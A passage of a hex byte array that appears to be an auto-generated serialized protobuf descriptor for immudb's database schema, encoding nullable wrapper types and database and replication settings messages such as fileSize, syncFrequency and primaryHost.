0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 